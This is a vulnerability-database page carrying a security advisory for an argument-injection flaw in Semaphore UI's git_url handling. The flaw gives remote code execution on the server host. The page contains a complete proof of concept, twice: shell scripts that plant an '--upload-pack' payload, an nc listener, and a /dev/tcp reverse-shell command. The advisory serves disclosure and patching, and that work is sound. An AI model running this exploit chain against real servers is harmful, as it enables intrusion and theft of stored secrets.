GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-XP7J-H7JC-4W8P

Vulnerability from github – Published: 2026-09-08 17:57 – Updated: 2026-09-08 17:57
VLAI
Summary
Semaphore U: OS Command Injection
Details

Summary

An OS command injection in repository git_url handling lets any user holding the Manager or Owner role on any project (the normal project-collaborator roles) achieve remote code execution on the Semaphore server host. Using git's --upload-pack= option, an attacker runs arbitrary commands. The command executes inside the main Semaphore server process (via the schedule commit-hash poller), so it runs even when jobs are configured for remote runners — bypassing runner isolation and exposing the master encryption key and every project's secrets. Reproducible on a default install (git_client: cmd_git); no non-default configuration is required.

Details

The repository git_url is attacker-controlled (HTTP body) and reaches exec.Command("git", ...) unvalidated. Two missing controls cause this:

  1. git_url is never validated against option injection. Repository.Validate() (db/Repository.go, ~lines 138–156) validates the branch via ValidateGitBranch (db/git_branch.go, which rejects a leading -), but performs no equivalent check on GitURL (only "non-empty"). ValidateRepository (db/Store.go, ~802–806) only checks the SSH key. CreateRepository (db/sql/repository.go, ~76–95) stores it verbatim. Because --upload-pack=... has no scheme:// and no leading /, GetType() (db/Repository.go, ~113–136) classifies it as RepositorySSH and GetGitURL(false) (~72–111) returns it raw/unchanged.

  2. The git command is built with no -- separator. CmdGitClient.GetLastRemoteCommitHash (db_lib/CmdGitClient.go, ~169–185) calls: c.output(r, GitRepositoryTmpPath, "ls-remote", r.Repository.GetGitURL(false), // attacker-controlled r.Repository.GitBranch) // "master" output (~79–93) → makeCmd (~21–60): exec.Command("git") (line ~27), cmd.Args = append(cmd.Args, args...) (line ~55). The resulting argv has no --: ["git", "ls-remote", "--upload-pack=;true", "master"] git parses --upload-pack=... as an option; master becomes the (local-transport) repository operand; git then executes the upload-pack value through a shell (sh -c " 'master'"), running . This is intended git behavior — the fault is Semaphore passing untrusted data as argv. (The command runs even though git subsequently prints fatal: Could not read from remote repository and exits 128, and even though master is not a real path.)

Trigger — it fires in the server process.

A project schedule with a repository_id causes the scheduler to run git ls-remote to check for new commits. AddSchedule (api/projects/schedules.go, ~130–160; validateSchedulePayload ~86–118 validates only the cron format — it does not require the repo to be tied to the template). The schedule pool is started in the server process: runService in cli/cmd/root.go (CreateSchedulePool ~line 115, go schedulePool.Run() ~line 193), independent of remote-runner config. On each tick, ScheduleRunner.Run (services/schedules/SchedulePool.go, ~96–193, line ~117) calls tryUpdateScheduleCommitHash (~61–94) — before the HA de-dup lock (~145) — which loads the repo by repository_id and calls GetLastRemoteCommitHash(). Refresh (~265–358, line 287) registers such schedules even when inactive, so deactivating does not stop it.

Entry points:

POST /api/project/{id}/repositories (api/projects/repository.go:AddRepository, ~101–137) stores the payload; POST /api/project/{id}/schedules arms it. Both are gated by GetMustCanMiddleware(db.CanManageProjectResources) (api/router.go ~294/310/327), a permission held by ProjectManager/ProjectOwner (db/ProjectUser.go, ~22–27).

PoC

Environment: the official semaphore v2.18.12 binary; git, python3, nc present. This PoC uses the default git client and non_admin_can_create_project: false; the attacker lowpriv is onboarded by the admin as a normal Manager (no special configuration).

Terminal 1 — config + users + server

  cd ~/PoC && mkdir -p tmp
  cat > config.json <<EOF
  { "sqlite":{"host":"$PWD/database.sqlite"},"dialect":"sqlite","tmp_path":"$PWD/tmp",
    "port":":3000","interface":"127.0.0.1",
    "cookie_hash":"$(head -c32 /dev/urandom|base64)","cookie_encryption":"$(head -c32 /dev/urandom|base64)",
    "access_key_encryption":"$(head -c32 /dev/urandom|base64)","git_client":"cmd_git",
    "non_admin_can_create_project":false,"web_host":"http://127.0.0.1:3000/" }
  EOF
  ./semaphore user add --admin --login admin  --name Admin --email admin@example.com --password 'Admin123!'  --config config.json
  ./semaphore user add        --login lowpriv --name Low   --email low@example.com   --password 'LowPriv123!' --config config.json
  ./semaphore server --config config.json

Terminal 2 — attacker listener

  nc -lvnp 4444

Terminal 3 — admin onboards lowpriv as Manager, then lowpriv exploits

  cd ~/PoC

  cat > onboard.sh <<'EOF'
  #!/usr/bin/env bash
  set -euo pipefail
  BASE="${BASE:-http://127.0.0.1:3000}"
  ADMIN="${ADMIN:-admin}"; ADMIN_PASS="${ADMIN_PASS:-Admin123!}"; MEMBER="${MEMBER:-lowpriv}"
  JAR=$(mktemp)
  curl -s -c "$JAR" -X POST "$BASE/api/auth/login" -H 'Content-Type: application/json' \
    -d "{\"auth\":\"$ADMIN\",\"password\":\"$ADMIN_PASS\"}" >/dev/null
  PROJ_PID=$(curl -s -b "$JAR" -X POST "$BASE/api/projects" -H 'Content-Type: application/json' \
    -d '{"name":"team-project","alert":false}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')
  USER_ID=$(curl -s -b "$JAR" "$BASE/api/users" | \
    python3 -c "import sys,json;print(next(u['id'] for u in json.load(sys.stdin) if u['username']=='$MEMBER'))")
  curl -s -b "$JAR" -X POST "$BASE/api/project/$PROJ_PID/users" -H 'Content-Type: application/json' \
    -d "{\"user_id\":$USER_ID,\"role\":\"manager\"}" -o /dev/null
  rm -f "$JAR"; echo "[*] $MEMBER is Manager of project $PROJ_PID" >&2; echo "$PROJ_PID"
  EOF
  chmod +x onboard.sh

  cat > rce.sh <<'EOF'
  #!/usr/bin/env bash
  set -euo pipefail
  BASE="${BASE:-http://127.0.0.1:3000}"; LOGIN="${LOGIN:-lowpriv}"; PASS="${PASS:-LowPriv123!}"
  PROJ_PID="${PROJ_PID:?set PROJ_PID from onboard.sh}"
  CMD="$*"; B64=$(printf '%s' "$CMD" | base64 -w0)
  GITURL="--upload-pack=bash -c \"echo $B64 | base64 -d | bash\";true"
  JAR=$(mktemp); jid(){ python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])'; }
  post(){ curl -s -b "$JAR" -X POST "$BASE$1" -H 'Content-Type: application/json' -d "$2"; }
  curl -s -c "$JAR" -X POST "$BASE/api/auth/login" -H 'Content-Type: application/json' \
    -d "{\"auth\":\"$LOGIN\",\"password\":\"$PASS\"}" >/dev/null
  KID=$(post /api/project/$PROJ_PID/keys "{\"name\":\"k\",\"type\":\"none\",\"project_id\":$PROJ_PID}" | jid)
  BODY=$(python3 -c "import json,sys;print(json.dumps({'name':'r','project_id':$PROJ_PID,'git_url':sys.argv[1],'git_branch':'master','ssh_key_id':$KID}))" "$GITURL")
  RID=$(post /api/project/$PROJ_PID/repositories "$BODY" | jid)
  TID=$(post /api/project/$PROJ_PID/templates "{\"name\":\"t\",\"project_id\":$PROJ_PID,\"app\":\"bash\",\"playbook\":\"n.sh\",\"repository_id\":$RID,\"type\":\"\"}" | jid)
  post /api/project/$PROJ_PID/schedules "{\"name\":\"s\",\"project_id\":$PROJ_PID,\"template_id\":$TID,\"repository_id\":$RID,\"cron_format\":\"* * * * *\"}" >/dev/null
  rm -f "$JAR"; echo "[*] queued as lowpriv (Manager of $PROJ_PID): $CMD"
  EOF
  chmod +x rce.sh

  PROJ_PID=$(./onboard.sh)
  ATTACKER_IP=127.0.0.1
  PROJ_PID=$PROJ_PID ./rce.sh "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"

Within ~60 s the schedule fires and the Semaphore server process connects back to the listener (Terminal 2), giving an interactive shell as the server user. Verify with id and cat ~/PoC/config.json (the server can read its own access_key_encryption master key).

Impact

  • Type: OS command injection via argument injection — remote code execution.
  • Who is impacted: any Semaphore deployment running the default git_client: cmd_git. The attacker only needs an authenticated account holding the Manager or Owner role on any project — the standard collaborator roles. (If non_admin_can_create_project is enabled, literally any authenticated user qualifies, since they can self-create a project and become its Owner. Global admins always qualify.)
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/semaphoreui/semaphore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260704181911-7e8a9434bd81"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T17:57:44Z",
    "nvd_published_at": "2026-08-12T16:17:22Z",
    "severity": "CRITICAL"
  },
  "details": "# Summary\nAn OS command injection in repository git_url handling lets any user holding the Manager or Owner role on any project (the normal project-collaborator roles) achieve remote code execution on the Semaphore server host. Using git\u0027s --upload-pack=\u003ccmd\u003e option, an attacker runs arbitrary commands. The command executes inside the main Semaphore server process (via the schedule commit-hash poller), so it runs even when jobs are configured for remote runners \u2014 bypassing runner isolation and exposing the master encryption key and every project\u0027s secrets. Reproducible on a default install (git_client: cmd_git); no non-default configuration is required.\n\n# Details\nThe repository git_url is attacker-controlled (HTTP body) and reaches exec.Command(\"git\", ...) unvalidated. Two missing controls cause this:\n\n1. git_url is never validated against option injection.\nRepository.Validate() (db/Repository.go, ~lines 138\u2013156) validates the branch via ValidateGitBranch (db/git_branch.go, which rejects a leading -), but performs no equivalent check on GitURL (only \"non-empty\"). ValidateRepository (db/Store.go, ~802\u2013806) only checks the SSH key. CreateRepository (db/sql/repository.go, ~76\u201395) stores it verbatim. Because --upload-pack=... has no scheme:// and no leading /, GetType() (db/Repository.go, ~113\u2013136) classifies it as RepositorySSH and GetGitURL(false) (~72\u2013111) returns it raw/unchanged.\n\n2. The git command is built with no -- separator.\nCmdGitClient.GetLastRemoteCommitHash (db_lib/CmdGitClient.go, ~169\u2013185) calls:\nc.output(r, GitRepositoryTmpPath, \"ls-remote\",\n           r.Repository.GetGitURL(false),   // attacker-controlled\n           r.Repository.GitBranch)          // \"master\"\noutput (~79\u201393) \u2192 makeCmd (~21\u201360): exec.Command(\"git\") (line ~27), cmd.Args = append(cmd.Args, args...) (line ~55). The resulting argv has no --:\n[\"git\", \"ls-remote\", \"--upload-pack=\u003ccmd\u003e;true\", \"master\"]\ngit parses --upload-pack=... as an option; master becomes the (local-transport) repository operand; git then executes the upload-pack value through a shell (sh -c \"\u003ccmd\u003e \u0027master\u0027\"), running \u003ccmd\u003e. This is intended git behavior \u2014 the fault is Semaphore passing untrusted data as argv. (The command runs even though git subsequently prints fatal: Could not read from remote repository and exits 128, and even though master is not a real path.)\n\n### Trigger \u2014 it fires in the server process.\nA project schedule with a repository_id causes the scheduler to run git ls-remote to check for new commits. AddSchedule (api/projects/schedules.go, ~130\u2013160; validateSchedulePayload ~86\u2013118 validates only the cron format \u2014 it does not require the repo to be tied to the template). The schedule pool is started in the server process: runService in cli/cmd/root.go (CreateSchedulePool ~line 115, go schedulePool.Run() ~line 193), independent of remote-runner config. On each tick, ScheduleRunner.Run (services/schedules/SchedulePool.go, ~96\u2013193, line ~117) calls tryUpdateScheduleCommitHash (~61\u201394) \u2014 before the HA de-dup lock (~145) \u2014 which loads the repo by repository_id and calls GetLastRemoteCommitHash(). Refresh (~265\u2013358, line 287) registers such schedules even when inactive, so deactivating does not stop it.\n\n### Entry points:\nPOST /api/project/{id}/repositories (api/projects/repository.go:AddRepository, ~101\u2013137) stores the payload; POST /api/project/{id}/schedules arms it. Both are gated by GetMustCanMiddleware(db.CanManageProjectResources) (api/router.go ~294/310/327), a permission held by ProjectManager/ProjectOwner (db/ProjectUser.go, ~22\u201327).\n\n# PoC\nEnvironment: the official semaphore v2.18.12 binary; git, python3, nc present. This PoC uses the default git client and non_admin_can_create_project: false; the attacker lowpriv is onboarded by the admin as a normal Manager (no special configuration).\n\n### Terminal 1 \u2014 config + users + server\n```\n  cd ~/PoC \u0026\u0026 mkdir -p tmp\n  cat \u003e config.json \u003c\u003cEOF\n  { \"sqlite\":{\"host\":\"$PWD/database.sqlite\"},\"dialect\":\"sqlite\",\"tmp_path\":\"$PWD/tmp\",\n    \"port\":\":3000\",\"interface\":\"127.0.0.1\",\n    \"cookie_hash\":\"$(head -c32 /dev/urandom|base64)\",\"cookie_encryption\":\"$(head -c32 /dev/urandom|base64)\",\n    \"access_key_encryption\":\"$(head -c32 /dev/urandom|base64)\",\"git_client\":\"cmd_git\",\n    \"non_admin_can_create_project\":false,\"web_host\":\"http://127.0.0.1:3000/\" }\n  EOF\n  ./semaphore user add --admin --login admin  --name Admin --email admin@example.com --password \u0027Admin123!\u0027  --config config.json\n  ./semaphore user add        --login lowpriv --name Low   --email low@example.com   --password \u0027LowPriv123!\u0027 --config config.json\n  ./semaphore server --config config.json\n```\n### Terminal 2 \u2014 attacker listener\n```\n  nc -lvnp 4444\n```\n### Terminal 3 \u2014 admin onboards lowpriv as Manager, then lowpriv exploits\n```\n  cd ~/PoC\n\n  cat \u003e onboard.sh \u003c\u003c\u0027EOF\u0027\n  #!/usr/bin/env bash\n  set -euo pipefail\n  BASE=\"${BASE:-http://127.0.0.1:3000}\"\n  ADMIN=\"${ADMIN:-admin}\"; ADMIN_PASS=\"${ADMIN_PASS:-Admin123!}\"; MEMBER=\"${MEMBER:-lowpriv}\"\n  JAR=$(mktemp)\n  curl -s -c \"$JAR\" -X POST \"$BASE/api/auth/login\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \"{\\\"auth\\\":\\\"$ADMIN\\\",\\\"password\\\":\\\"$ADMIN_PASS\\\"}\" \u003e/dev/null\n  PROJ_PID=$(curl -s -b \"$JAR\" -X POST \"$BASE/api/projects\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"name\":\"team-project\",\"alert\":false}\u0027 | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[\"id\"])\u0027)\n  USER_ID=$(curl -s -b \"$JAR\" \"$BASE/api/users\" | \\\n    python3 -c \"import sys,json;print(next(u[\u0027id\u0027] for u in json.load(sys.stdin) if u[\u0027username\u0027]==\u0027$MEMBER\u0027))\")\n  curl -s -b \"$JAR\" -X POST \"$BASE/api/project/$PROJ_PID/users\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \"{\\\"user_id\\\":$USER_ID,\\\"role\\\":\\\"manager\\\"}\" -o /dev/null\n  rm -f \"$JAR\"; echo \"[*] $MEMBER is Manager of project $PROJ_PID\" \u003e\u00262; echo \"$PROJ_PID\"\n  EOF\n  chmod +x onboard.sh\n\n  cat \u003e rce.sh \u003c\u003c\u0027EOF\u0027\n  #!/usr/bin/env bash\n  set -euo pipefail\n  BASE=\"${BASE:-http://127.0.0.1:3000}\"; LOGIN=\"${LOGIN:-lowpriv}\"; PASS=\"${PASS:-LowPriv123!}\"\n  PROJ_PID=\"${PROJ_PID:?set PROJ_PID from onboard.sh}\"\n  CMD=\"$*\"; B64=$(printf \u0027%s\u0027 \"$CMD\" | base64 -w0)\n  GITURL=\"--upload-pack=bash -c \\\"echo $B64 | base64 -d | bash\\\";true\"\n  JAR=$(mktemp); jid(){ python3 -c \u0027import sys,json;print(json.load(sys.stdin)[\"id\"])\u0027; }\n  post(){ curl -s -b \"$JAR\" -X POST \"$BASE$1\" -H \u0027Content-Type: application/json\u0027 -d \"$2\"; }\n  curl -s -c \"$JAR\" -X POST \"$BASE/api/auth/login\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \"{\\\"auth\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASS\\\"}\" \u003e/dev/null\n  KID=$(post /api/project/$PROJ_PID/keys \"{\\\"name\\\":\\\"k\\\",\\\"type\\\":\\\"none\\\",\\\"project_id\\\":$PROJ_PID}\" | jid)\n  BODY=$(python3 -c \"import json,sys;print(json.dumps({\u0027name\u0027:\u0027r\u0027,\u0027project_id\u0027:$PROJ_PID,\u0027git_url\u0027:sys.argv[1],\u0027git_branch\u0027:\u0027master\u0027,\u0027ssh_key_id\u0027:$KID}))\" \"$GITURL\")\n  RID=$(post /api/project/$PROJ_PID/repositories \"$BODY\" | jid)\n  TID=$(post /api/project/$PROJ_PID/templates \"{\\\"name\\\":\\\"t\\\",\\\"project_id\\\":$PROJ_PID,\\\"app\\\":\\\"bash\\\",\\\"playbook\\\":\\\"n.sh\\\",\\\"repository_id\\\":$RID,\\\"type\\\":\\\"\\\"}\" | jid)\n  post /api/project/$PROJ_PID/schedules \"{\\\"name\\\":\\\"s\\\",\\\"project_id\\\":$PROJ_PID,\\\"template_id\\\":$TID,\\\"repository_id\\\":$RID,\\\"cron_format\\\":\\\"* * * * *\\\"}\" \u003e/dev/null\n  rm -f \"$JAR\"; echo \"[*] queued as lowpriv (Manager of $PROJ_PID): $CMD\"\n  EOF\n  chmod +x rce.sh\n\n  PROJ_PID=$(./onboard.sh)\n  ATTACKER_IP=127.0.0.1\n  PROJ_PID=$PROJ_PID ./rce.sh \"bash -i \u003e\u0026 /dev/tcp/$ATTACKER_IP/4444 0\u003e\u00261\"\n```\n\nWithin ~60 s the schedule fires and the Semaphore server process connects back to the listener (Terminal 2), giving an interactive shell as the server user. Verify with id and cat ~/PoC/config.json (the server can read its own access_key_encryption master key).\n\n# Impact\n- Type: OS command injection via argument injection \u2014 remote code execution.\n- Who is impacted: any Semaphore deployment running the default git_client: cmd_git. The attacker only needs an authenticated account holding the Manager or Owner role on any project \u2014 the standard collaborator roles. (If non_admin_can_create_project is enabled, literally any authenticated user qualifies, since they can self-create a project and become its Owner. Global admins always qualify.)",
  "id": "GHSA-xp7j-h7jc-4w8p",
  "modified": "2026-09-08T17:57:44Z",
  "published": "2026-09-08T17:57:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/security/advisories/GHSA-xp7j-h7jc-4w8p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/commit/7e8a9434bd81b82cf42220151c74801ea97542d6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/commit/a7a7a33a64aea382a0726b3722856f298663eacf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/semaphoreui/semaphore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/tree/v2.18.17"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/tree/v2.19.5-beta2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Semaphore U: OS Command Injection"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…